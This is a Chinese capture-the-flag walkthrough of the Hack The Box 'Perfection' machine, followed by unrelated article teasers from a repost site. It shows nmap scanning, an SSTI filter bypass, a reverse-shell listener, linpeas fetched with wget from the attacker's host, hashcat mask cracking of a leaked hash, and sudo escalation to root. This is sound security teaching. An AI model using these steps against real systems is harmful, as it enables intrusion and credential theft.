Linux/Perfection

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了 22,80,扫描一下详细信息,如下所示

┌──(kali㉿kali)-[~/vegetable/HTB/Perfection]
└─$ nmap -sC -sV -p 22,80 10.10.11.253 -oA nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-11 02:58 EDT
Nmap scan report for 10.10.11.253
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_  256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.10 seconds

访问 web ,在页面最下方发现了 WEBrick 1.7.0,搜索一下发现都是很老的漏洞,简单试了试没有深究

SSTI

回到网页,发现整个系统只有一个功能,就是下面的计算

随便写了一些内容,然后提交了,但是页面提示Please reenter! Weights do not add up to 100.重新尝试,将最后一栏weight的值重新填写,令其相加等于100,这时发现系统进行了计算并给出了结果

测试是否存在注入,在参数category1后添加了一个单引号,服务器响应中返回Malicious input blocked,即恶意输入被阻止

经过尝试发现可以使用 %0a 截断,发现截断之后,后面输入内容都被输出在页面

刷新页面后发现页面中显示如下,将下面的代码复制交给chatgpt,得到了下面的答案。“您提供的代码片段似乎是基于Ruby的Sinatra框架。Sinatra是一个轻量级的Ruby web开发框架,用于构建基于Ruby的web应用程序。”,没啥好玩的

经过尝试,发现了ssti,按照下图第三条

结果如下

找一个反向 shell 连接脚本

在监听端成功获取反弹shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444                              
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.253] 56398
susan@perfection:~/ruby_app$ whoami
whoami
susan
susan@perfection:~/ruby_app$ 

Privilege Escalation

升级shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
susan@perfection:~/ruby_app$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg                                                                     
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

懒得一个一个看了,直接上传 linpeas.sh 来检索系统弱点

susan@perfection:/tmp$ wget http://10.10.14.19:8888/linpeas.sh
--2024-03-11 09:42:22--  http://10.10.14.19:8888/linpeas.sh
Connecting to 10.10.14.19:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 840.38K   219KB/s    in 3.8s    

2024-03-11 09:42:30 (219 KB/s) - ‘linpeas.sh’ saved [860549/860549]

为脚本添加执行权限,然后执行等待结果即可,在运行过程中就看到了下面这两行,susan 就可以查看user.txt

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root susan 625 May 14  2023 /var/mail/susan                                                                                                   
-rw-r----- 1 root susan 33 Mar 11 07:23 /home/susan/user.txt

在 /home/susan 目录下,存在 Migration 目录,有一个

.db文件,使用 cat 命令查看可以看到一组 hash 值

susan@perfection:~/Migration$ cat pupilpath_credentials.db 
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

使用 hash-identifier 可以识别 hash 类别,但是破解失败

┌──(kali㉿kali)-[~]
└─$ hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------

另一个文件是 /var/mail/susan,看看 susan 的邮件中会不会有什么有趣的内容

susan@perfection:/var/mail$ cat susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

邮件中提出 “密码格式为:{firstname}_{名字倒数}_{随机生成的介于 1 和 1,000,000,000 之间的整数} 请注意,名字的所有字母都应转换为小写。”

根据邮件内容,密码应该是susan_nasus_**********,可以用 hashcat 的掩码模式来爆破

不知道的是后面的数字,前面都是已经确定了的,所以可以使用 hashcat 自带的掩码模式来暴力破解,使用 ?d 来表示数字 0-9

使用掩码模式爆破结果如下

┌──(kali㉿kali)-[~]
└─$ hashcat -m 1400 -a 3 hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d --show
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

得到密码后可以尝试使用 sudo -l 查看 susan 的权限,发现所有的事情都可以做,切换至 root 用户

susan@perfection:~/ruby_app$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~/ruby_app$ sudo su root
root@perfection:/home/susan/ruby_app# whoami
root

over

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/475012.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Mysql总结(附思维导图)

Mysql Mysql索引 使用 创建主键索引 在对应字段后指定primary_key:id int primary key 创建唯一索引 在对应字段后指定unique_key:name varchar(20) unique 创建普通索引 在创建表的最后,指定某列或某几列:index(name) 创建全…

【JAVA笔记】IDEA配置本地Maven

文章目录 1 配置本地Maven1.1 Maven下载1.2 Maven安装与配置1.2.1 安装1.2.2 配置1.2.2.1 环境配置1.2.2.2 本地仓库配置 2 IDEA设置本地Maven 1 配置本地Maven 1.1 Maven下载 官网:http://maven.apache.org/下载地址:http://maven.apache.org/downloa…

腾讯云优惠券、代金券、折扣券领取方法及使用教程

腾讯云作为国内领先的云计算服务提供商,一直致力于为广大用户提供高效、稳定、安全的云服务。为了吸引用户上云,腾讯云经常推出各种优惠活动,其中就包括腾讯云优惠券。下面小编将详细介绍腾讯云优惠券的相关信息,包括种类、领取入…

Coze知识库新上线!是否真的好用?

近期,Coze知识库工具新上线并迅速引起了行业内的关注。作为一款公认的知识管理和团队协作工具,Coze被赞誉为"团队协作的游戏规则修改者"。那么,Coze是否真的如传闻中那么好用呢? 首先,从优势来看&#xff0c…

考研数学|《660》题这样刷,效率最高!

首先要了解一下660的难度,我认为660的难度是在基础和强化之间的一本习题册。具有一些比较好的选填题目,有些题目可能对初学者来说较为困难,尤其是一些包含二级结论的一些题目。但是对于强化阶段来说,这本题目可能难度较低了一些。…

【鸿蒙HarmonyOS开发笔记】应用数据持久化之通过用户首选项实现数据持久化

概述 应用数据持久化,是指应用将内存中的数据通过文件或数据库的形式保存到设备上。内存中的数据形态通常是任意的数据结构或数据对象,存储介质上的数据形态可能是文本、数据库、二进制文件等。 HarmonyOS标准系统支持典型的存储数据形态,包…

mybatis-plus和mybatis同时引入时,出现的问题

这里同时引入了一个mybatis-plus和mybatis,导致了配置文件里面配置的映射文件一直没生效,一直报错找不到隐私文件 mapper-locations 同时引入是这个是不会生效的 只有用mybatis.mapper-locations配置时才会生效

鸿蒙Harmony应用开发—ArkTS-粒子动画

粒子动画是在一定范围内随机生成的大量粒子产生运动而组成的动画。动画元素是一个个粒子,这些粒子可以是圆点、图片。通过对粒子在颜色、透明度、大小、速度、加速度、自旋角度等维度变化做动画,来营造一种氛围感,比如下雪的动效,…

基于java+springboot+vue实现的智慧养老院管理系统(文末源码+Lw+ppt)23-490

摘 要 智慧养老院管理系统采用B/S架构,数据库是MySQL。网站的搭建与开发采用了先进的java进行编写,使用了springboot框架。该系统从三个对象:由管理员和家属、护工来对系统进行设计构建。主要功能包括:个人信息修改,…

文件IO(代码案例: 文件复制, 指定目录查找文件, 指定目录查找内容)

文件复制 进行普通文件的复制 使用操作字节流的对象操作文件 // 文件复制 public class Main {public static void main(String[] args) throws IOException {// 输入两个路径, 源路径, 目的路径Scanner scanner new Scanner(System.in);System.out.println("请输入拷贝文…

主机游戏:怀旧浪潮与未来创新的交汇

《主机游戏:怀旧浪潮与未来创新的交汇》 一、主机游戏的怀旧魅力 1、经典的再现:随着时间的推移,主机游戏不仅成为一种娱乐方式,更成为一代人的集体回忆。经典的像素画风、复古的音乐和简单却深入人心的故事情节,使得…

JavaScript高级(十三)---ES6中Set,map

ES6 Set 在ES6之前,我们存储数据的结构主要有两种:数组、对象。 在ES6中新增了另外两种数据结构:Set、Map,以及它们的另外形式WeakSet、WeakMap。 Set是一个新增的数据结构,可以用来保存数据,类似于数组&a…

Qt QGraphicsView移动、缩放

原链接 首先需要明白,view在整个视图框架中的角色是用于显示scene的,所以决定了如何展示scene,包括scale()函数,用于放大缩小所展示的scene;centerOn()函数,决定scene的中心在何方。所有的操作&#xff0c…

VS2019 C++ NetCDF配置

原链接1 原链接2 做个备份 1.下载对应的NetCDF-C和C库 官网下载 选择64位的NetCDF4安装版(没有DAP的) 现在官网已经没有NetCDF-C 4.7.3 版本了,网上别人提供了新的下载地址:NetCDF各个版本(Index of /library/net…

vue iframe实现父页面实时调用子页面方法和内容

父页面标签添加鼠标按下事件 父页方法中建立iframe通信 实时调用子页面方法 实时更改子页面文本内容

贵州省二级分类土地利用数据(矢量)

贵州省,地处中国西南腹地,地貌属于中国西南部高原山地,境内地势西高东低,自中部向北、东、南三面倾斜,平均海拔在1100米左右。贵州高原山地居多,素有“八山一水一分田”之说。全省地貌可概括分为&#xff1…

基于SpringBoot的街道办管理系统

摘 要 随着世界经济信息化、全球化的到来和互联网的飞速发展,推动了各行业的改革。若想达到安全,快捷的目的,就需要拥有信息化的组织和管理模式,建立一套合理、动态的、交互友好的、高效的街道办管理系统。当前的信息管理存在工作…

Python+requests+unittest+excel搭建接口自动化测试框架(超详细)

🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 一、框架结构 工程目录【文末有配套视频和资料免费领取】 代码:基于python2编写 二…

006_【基础篇】springboot整合Mybatis

SpringBoot 整合 Mybatis 只需要两步: 案例: 创建数据库 在 IDEA 提供的插件的内置的数据库图形化界面(其他图形化界面软件也可以,都一样) 中创建以下数据库: create database if not exists mybatis;use mybatis…

principles of network applications网络应用原理

Creating a network app write programs that: ▪ run on (different) end systems ▪ communicate over network ▪ e.g., web server software communicates with browser software application transport network data link physical application transport network data li…